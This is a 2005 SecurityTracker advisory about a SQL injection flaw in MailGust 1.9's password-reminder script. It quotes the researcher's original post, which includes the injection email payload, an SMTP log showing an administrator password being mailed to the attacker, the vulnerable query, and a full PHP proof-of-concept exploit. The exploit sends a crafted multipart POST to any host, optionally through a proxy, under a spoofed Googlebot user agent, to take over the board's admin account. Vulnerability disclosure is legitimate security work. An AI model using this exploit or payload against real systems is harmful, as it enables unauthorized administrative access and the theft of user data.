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Mailgust Input Validation Hole in 'gorum/user_email.php' Permits SQL Injection Attacks
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SecurityTracker Alert ID: 1014970
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SecurityTracker URL: http://securitytracker.com/id?1014970
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Sep 26 2005
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Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, User access via network
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Exploit Included: Yes
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Version(s): 1.9
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Description: rgod reported a vulnerability in Mailgust. A remote user can inject SQL commands.
The 'gorum/user_email.php' script does not properly validate user-supplied input. If the PHP magic quotes setting is 'off', a remote
user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
A remote user can exploit
this to have the system e-mail a new administrative password to an arbitrary e-mail address.
A demonstration exploit e-mail value
is provided:
[your_email],'or'a'='a'/*@hotmail.com
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Impact: A remote user can execute SQL commands on the underlying database to obtain administrative access on the target system.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.mailgust.org/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: rgod <retrogod@aliceposta.it>
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Message History:
None.
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Source Message Contents
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Date: Sat, 24 Sep 2005 18:47:47 +0200
From: rgod <retrogod@aliceposta.it>
Subject: MailGust 1.9 SQL injection / board takevor
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|MailGust 1.9 SQL injection / board takevor
software:
site: http://www.mailgust.org/
description:
Mailgust is three softwares in one: * Mailing list manager * Newsletter distribution
tool * Message Board Mailgust is written in php and uses a mysql database.
vulnerability:
if magic quotes off -> SQL Injection
without to have an account, a user can send himself a new admin password using
password reminder, in email field type:
[yuor_email],'or'a'='a'/*@hotmail.com
give a look to what happen:
220 [MAILSERVER] SMTP Service ready
HELO [MAILGUST]
250 [MAILSERVER].
MAIL FROM:<me@localhost.com>
250 MAIL FROM:<me@localhost.com> OK
RCPT TO:<[your_email]>
250 RCPT TO:>[your_email] OK
RCPT TO:<'or'a'='a'/*@hotmail.com>
250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
Date: Sat, 24 Sep 2005 16:11:38 +0100
Subject: New password
To: [your_email],'or'a'='a'/*@hotmail.com
From: systemxxx@localhost.com
Your login name is: [admin_email]
Your new password is: 4993587
Click here:
http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=499358
7&id=1756185114
to activate the password, than try to log in!
It is recommended that you change your password afterwards.
.
250 <4335105B00009AE2> Mail accepted
QUIT
221 [MAILSERVER] QUIT
vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363:
...
$query = "SELECT * FROM $applName"."_$userClassName ".
"WHERE email='$this->email'";
...
it becomes:
SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com'
"or'a'='a'" is always true, so the query is always true, script doesn't fail, for
mail function, theese are two valid email address,
it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;)
activate the password, now you can login with [admin_email] as user and new password
this is my proof of concept exploit:
<?php
# mailgust_xpl.php #
# #
# MailGust 1.9 ( possibly prior versions) SQL Injection / board takeover #
# poc exploit with generic HTTP proxy support #
# by rgod #
# site: http://rgod.altervista.org #
# #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# send yourself a new admin password right now! #
# #
# Sun-Tzu: "Hence to fight and conquer in all your battles is not supreme #
# excellence; a supreme excellence consists in breaking the enemy's #
# resistance without fighting." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<head><title>M a i l G u s t v.1.9 S Q L I n j e c t i o n</title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6">
MailGust
V 1.9 (possibly prior versions) SQL Injection / board takeover</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_bl
ank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td wid
th="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&
host=
value&port=value&proxy=value&your_email=value"><p><input type="text"
name="host"
> <span class="Stile5"> hostname (ex: www.sitename.com) </span> </p>
<p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /mail
gust/ or just / )
</span></p><p><input type="text" name="port" > <spa
n class="Stile5"> specify
a port other than 80 ( default value ) </span> </p> <p> <input type="
text"
name="your_email"> <span class="Stile5"> e-mail where MG will send the
password
</span></p><p><input type="text" name="proxy"> <span c
lass="Stile5">send exploit
through an HTTP proxy (ip:port)</span></p> <p><input type="submit "nam
e="Submit"
value="go!"></p></form></td></tr></table></body><
/html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo htmlentities($html);
}
function isemail($email)
{
$regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$';
if (eregi($regex, $email)) return true;
else return false;
}
if (($path<>'') and ($host<>'') and ($your_email<>''))
{
if ($port=='') {$port=80;}
$your_email=trim($your_email);
if (!isemail($your_email))
{
echo '<br> I am not MailGust! You have to give me a valid e-mail...<br><br>';
die;
}
$sql=$your_email.",'or'a'='a'/*@fakedomainname.com"; //wow it's a beautiful query ;)
$data='-----------------------------7d52b21b210554
Content-Disposition: form-data; name="method"
remind_password
-----------------------------7d52b21b210554
Content-Disposition: form-data; name="list"
maillistuser
-----------------------------7d52b21b210554
Content-Disposition: form-data; name="fromlist"
maillist
-----------------------------7d52b21b210554
Content-Disposition: form-data; name="frommethod"
showhtmllist
-----------------------------7d52b21b210554
Content-Disposition: form-data; name="email"
'.$sql.'
-----------------------------7d52b21b210554
Content-Disposition: form-data; name="submit"
Ok
-----------------------------7d52b21b210554--';
if ($proxy=='')
{$packet="POST ".$path."index.php HTTP/1.1\r\n";}
else
{$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-f
lash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."index.php?method=remind_password_form&lis
t=maillistuser&fromlist=maillist&frommethod=showhtmllist\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554\
r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: globalUserId=1745493597; gustTimeOut=1\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
}
else
{
echo '<br>Fill in requested fields, optionally specify a proxy...<br><br>';
}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta.it
original advisory: http://rgod.altervista.org/maildisgust.html|
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